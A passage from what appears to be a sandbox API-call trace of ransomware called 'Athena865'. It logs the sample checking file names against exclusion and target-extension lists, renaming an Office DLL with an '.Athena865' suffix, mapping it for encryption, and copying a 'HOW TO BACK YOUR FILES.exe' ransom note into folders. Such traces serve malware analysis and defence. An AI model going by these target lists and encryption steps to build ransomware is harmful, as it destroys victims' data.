(lpString1="DLL", lpString2="adb") returned 1 [0084.426] lstrlenW (lpString="ade") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.426] lstrlenW (lpString="adf") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.426] lstrlenW (lpString="adn") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.426] lstrlenW (lpString="adp") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.426] lstrlenW (lpString="alf") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.426] lstrlenW (lpString="ask") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.426] lstrlenW (lpString="btr") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.426] lstrlenW (lpString="cat") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.426] lstrlenW (lpString="cdb") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.426] lstrlenW (lpString="ckp") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.426] lstrlenW (lpString="cma") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.426] lstrlenW (lpString="cpd") returned 3 [0084.426] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.426] lstrlenW (lpString="dacpac") returned 6 [0084.426] lstrcmpiW (lpString1="AP.DLL", lpString2="dacpac") returned -1 [0084.426] lstrlenW (lpString="dad") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.427] lstrlenW (lpString="dadiagrams") returned 10 [0084.427] lstrcmpiW (lpString1="UBTRAP.DLL", lpString2="dadiagrams") returned 1 [0084.427] lstrlenW (lpString="daschema") returned 8 [0084.427] lstrcmpiW (lpString1="TRAP.DLL", lpString2="daschema") returned 1 [0084.427] lstrlenW (lpString="db-journal") returned 10 [0084.427] lstrcmpiW (lpString1="UBTRAP.DLL", lpString2="db-journal") returned 1 [0084.427] lstrlenW (lpString="db-shm") returned 6 [0084.427] lstrcmpiW (lpString1="AP.DLL", lpString2="db-shm") returned -1 [0084.427] lstrlenW (lpString="db-wal") returned 6 [0084.427] lstrcmpiW (lpString1="AP.DLL", lpString2="db-wal") returned -1 [0084.427] lstrlenW (lpString="dbc") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.427] lstrlenW (lpString="dbs") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.427] lstrlenW (lpString="dbt") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.427] lstrlenW (lpString="dbv") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.427] lstrlenW (lpString="dbx") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.427] lstrlenW (lpString="dcb") returned 3 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.427] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.428] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL.Athena865") returned 64 [0084.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll.athena865"), dwFlags=0x1) returned 1 [0084.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBTRAP.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pubtrap.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0084.430] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=59256) returned 1 [0084.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.431] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.432] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.432] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.432] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea80, lpName=0x0) returned 0x154 [0084.433] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea80) returned 0x100000 [0084.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0084.436] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0084.436] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0084.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0084.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0084.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0084.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.437] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0084.438] CloseHandle (hObject=0x154) returned 1 [0084.438] CloseHandle (hObject=0x17c) returned 1 [0084.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.438] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2=".") returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="..") returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="windows") returned -1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="bootmgr") returned 1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="temp") returned -1 [0084.438] lstrcmpiW (lpString1="PUBWIZ", lpString2="pagefile.sys") returned 1 [0084.439] lstrcmpiW (lpString1="PUBWIZ", lpString2="boot") returned 1 [0084.439] lstrcmpiW (lpString1="PUBWIZ", lpString2="ids.txt") returned 1 [0084.439] lstrcmpiW (lpString1="PUBWIZ", lpString2="ntuser.dat") returned 1 [0084.439] lstrcmpiW (lpString1="PUBWIZ", lpString2="perflogs") returned 1 [0084.439] lstrcmpiW (lpString1="PUBWIZ", lpString2="MSBuild") returned 1 [0084.439] lstrlenW (lpString="PUBWIZ") returned 6 [0084.439] lstrcpyW (in: lpString1=0x241e89e, lpString2="PUBWIZ" | out: lpString1="PUBWIZ") returned="PUBWIZ" [0084.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b768 [0084.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53a2d0 [0084.439] lstrcatW (in: lpString1="PUBWIZ", lpString2="\\" | out: lpString1="PUBWIZ\\") returned="PUBWIZ\\" [0084.439] lstrcatW (in: lpString1="PUBWIZ\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PUBWIZ\\HOW TO BACK YOUR FILES.exe") returned="PUBWIZ\\HOW TO BACK YOUR FILES.exe" [0084.439] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\how to back your files.exe"), bFailIfExists=1) returned 1 [0084.443] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2=".") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="..") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="windows") returned -1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="bootmgr") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="temp") returned -1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="pagefile.sys") returned 1 [0084.443] lstrcmpiW (lpString1="QUERIES", lpString2="boot") returned 1 [0084.444] lstrcmpiW (lpString1="QUERIES", lpString2="ids.txt") returned 1 [0084.444] lstrcmpiW (lpString1="QUERIES", lpString2="ntuser.dat") returned 1 [0084.444] lstrcmpiW (lpString1="QUERIES", lpString2="perflogs") returned 1 [0084.444] lstrcmpiW (lpString1="QUERIES", lpString2="MSBuild") returned 1 [0084.444] lstrlenW (lpString="QUERIES") returned 7 [0084.444] lstrcpyW (in: lpString1=0x241e89e, lpString2="QUERIES" | out: lpString1="QUERIES") returned="QUERIES" [0084.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b780 [0084.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a340 [0084.444] lstrcatW (in: lpString1="QUERIES", lpString2="\\" | out: lpString1="QUERIES\\") returned="QUERIES\\" [0084.444] lstrcatW (in: lpString1="QUERIES\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="QUERIES\\HOW TO BACK YOUR FILES.exe") returned="QUERIES\\HOW TO BACK YOUR FILES.exe" [0084.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\how to back your files.exe"), bFailIfExists=1) returned 1 [0084.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="..") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="windows") returned -1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="bootmgr") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="temp") returned -1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="pagefile.sys") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="boot") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="ids.txt") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="ntuser.dat") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="perflogs") returned 1 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2="MSBuild") returned 1 [0084.451] lstrlenW (lpString="RECALL.DLL") returned 10 [0084.451] lstrcpyW (in: lpString1=0x241e89e, lpString2="RECALL.DLL" | out: lpString1="RECALL.DLL") returned="RECALL.DLL" [0084.451] lstrlenW (lpString="RECALL.DLL") returned 10 [0084.451] lstrlenW (lpString="Athena865") returned 9 [0084.451] lstrcmpiW (lpString1="ECALL.DLL", lpString2="Athena865") returned 1 [0084.451] lstrlenW (lpString=".dll") returned 4 [0084.451] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".dll") returned 1 [0084.452] lstrlenW (lpString=".lnk") returned 4 [0084.452] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".lnk") returned 1 [0084.452] lstrlenW (lpString=".ini") returned 4 [0084.452] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".ini") returned 1 [0084.452] lstrlenW (lpString=".sys") returned 4 [0084.452] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".sys") returned 1 [0084.452] lstrlenW (lpString="RECALL.DLL") returned 10 [0084.452] lstrlenW (lpString="bak") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.452] lstrlenW (lpString="ba_") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.452] lstrlenW (lpString="dbb") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.452] lstrlenW (lpString="vmdk") returned 4 [0084.452] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.452] lstrlenW (lpString="rar") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.452] lstrlenW (lpString="zip") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.452] lstrlenW (lpString="tgz") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.452] lstrlenW (lpString="vbox") returned 4 [0084.452] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.452] lstrlenW (lpString="vdi") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.452] lstrlenW (lpString="vhd") returned 3 [0084.452] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.452] lstrlenW (lpString="vhdx") returned 4 [0084.452] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.452] lstrlenW (lpString="avhd") returned 4 [0084.452] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.452] lstrlenW (lpString="db") returned 2 [0084.453] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.453] lstrlenW (lpString="db2") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.453] lstrlenW (lpString="db3") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.453] lstrlenW (lpString="dbf") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.453] lstrlenW (lpString="mdf") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.453] lstrlenW (lpString="mdb") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.453] lstrlenW (lpString="sql") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.453] lstrlenW (lpString="sqlite") returned 6 [0084.453] lstrcmpiW (lpString1="LL.DLL", lpString2="sqlite") returned -1 [0084.453] lstrlenW (lpString="sqlite3") returned 7 [0084.453] lstrcmpiW (lpString1="ALL.DLL", lpString2="sqlite3") returned -1 [0084.453] lstrlenW (lpString="sqlitedb") returned 8 [0084.453] lstrcmpiW (lpString1="CALL.DLL", lpString2="sqlitedb") returned -1 [0084.453] lstrlenW (lpString="xml") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.453] lstrlenW (lpString="$er") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.453] lstrlenW (lpString="4dd") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.453] lstrlenW (lpString="4dl") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.453] lstrlenW (lpString="^^^") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.453] lstrlenW (lpString="abs") returned 3 [0084.453] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.453] lstrlenW (lpString="abx") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.454] lstrlenW (lpString="accdb") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0084.454] lstrlenW (lpString="accdc") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0084.454] lstrlenW (lpString="accde") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0084.454] lstrlenW (lpString="accdr") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0084.454] lstrlenW (lpString="accdt") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0084.454] lstrlenW (lpString="accdw") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0084.454] lstrlenW (lpString="accft") returned 5 [0084.454] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0084.454] lstrlenW (lpString="adb") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.454] lstrlenW (lpString="adb") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.454] lstrlenW (lpString="ade") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.454] lstrlenW (lpString="adf") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.454] lstrlenW (lpString="adn") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.454] lstrlenW (lpString="adp") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.454] lstrlenW (lpString="alf") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.454] lstrlenW (lpString="ask") returned 3 [0084.454] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.454] lstrlenW (lpString="btr") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.455] lstrlenW (lpString="cat") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.455] lstrlenW (lpString="cdb") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.455] lstrlenW (lpString="ckp") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.455] lstrlenW (lpString="cma") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.455] lstrlenW (lpString="cpd") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.455] lstrlenW (lpString="dacpac") returned 6 [0084.455] lstrcmpiW (lpString1="LL.DLL", lpString2="dacpac") returned 1 [0084.455] lstrlenW (lpString="dad") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.455] lstrlenW (lpString="dadiagrams") returned 10 [0084.455] lstrlenW (lpString="daschema") returned 8 [0084.455] lstrcmpiW (lpString1="CALL.DLL", lpString2="daschema") returned -1 [0084.455] lstrlenW (lpString="db-journal") returned 10 [0084.455] lstrlenW (lpString="db-shm") returned 6 [0084.455] lstrcmpiW (lpString1="LL.DLL", lpString2="db-shm") returned 1 [0084.455] lstrlenW (lpString="db-wal") returned 6 [0084.455] lstrcmpiW (lpString1="LL.DLL", lpString2="db-wal") returned 1 [0084.455] lstrlenW (lpString="dbc") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.455] lstrlenW (lpString="dbs") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.455] lstrlenW (lpString="dbt") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.455] lstrlenW (lpString="dbv") returned 3 [0084.455] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.455] lstrlenW (lpString="dbx") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.456] lstrlenW (lpString="dcb") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.456] lstrlenW (lpString="dct") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.456] lstrlenW (lpString="dcx") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.456] lstrlenW (lpString="ddl") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.456] lstrlenW (lpString="dlis") returned 4 [0084.456] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.456] lstrlenW (lpString="dp1") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.456] lstrlenW (lpString="dqy") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.456] lstrlenW (lpString="dsk") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.456] lstrlenW (lpString="dsn") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.456] lstrlenW (lpString="dtsx") returned 4 [0084.456] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.456] lstrlenW (lpString="dxl") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.456] lstrlenW (lpString="eco") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.456] lstrlenW (lpString="ecx") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.456] lstrlenW (lpString="edb") returned 3 [0084.456] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.456] lstrlenW (lpString="epim") returned 4 [0084.456] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.456] lstrlenW (lpString="fcd") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.457] lstrlenW (lpString="fdb") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.457] lstrlenW (lpString="fic") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.457] lstrlenW (lpString="flexolibrary") returned 12 [0084.457] lstrlenW (lpString="fm5") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.457] lstrlenW (lpString="fmp") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.457] lstrlenW (lpString="fmp12") returned 5 [0084.457] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0084.457] lstrlenW (lpString="fmpsl") returned 5 [0084.457] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0084.457] lstrlenW (lpString="fol") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.457] lstrlenW (lpString="fp3") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.457] lstrlenW (lpString="fp4") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.457] lstrlenW (lpString="fp5") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.457] lstrlenW (lpString="fp7") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.457] lstrlenW (lpString="fpt") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.457] lstrlenW (lpString="frm") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.457] lstrlenW (lpString="gdb") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.457] lstrlenW (lpString="gdb") returned 3 [0084.457] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.458] lstrlenW (lpString="grdb") returned 4 [0084.458] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.458] lstrlenW (lpString="gwi") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.458] lstrlenW (lpString="hdb") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.458] lstrlenW (lpString="his") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.458] lstrlenW (lpString="ib") returned 2 [0084.458] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.458] lstrlenW (lpString="idb") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.458] lstrlenW (lpString="ihx") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.458] lstrlenW (lpString="itdb") returned 4 [0084.458] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.458] lstrlenW (lpString="itw") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.458] lstrlenW (lpString="jet") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.458] lstrlenW (lpString="jtx") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.458] lstrlenW (lpString="kdb") returned 3 [0084.458] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.458] lstrlenW (lpString="kexi") returned 4 [0084.458] lstrcmpiW 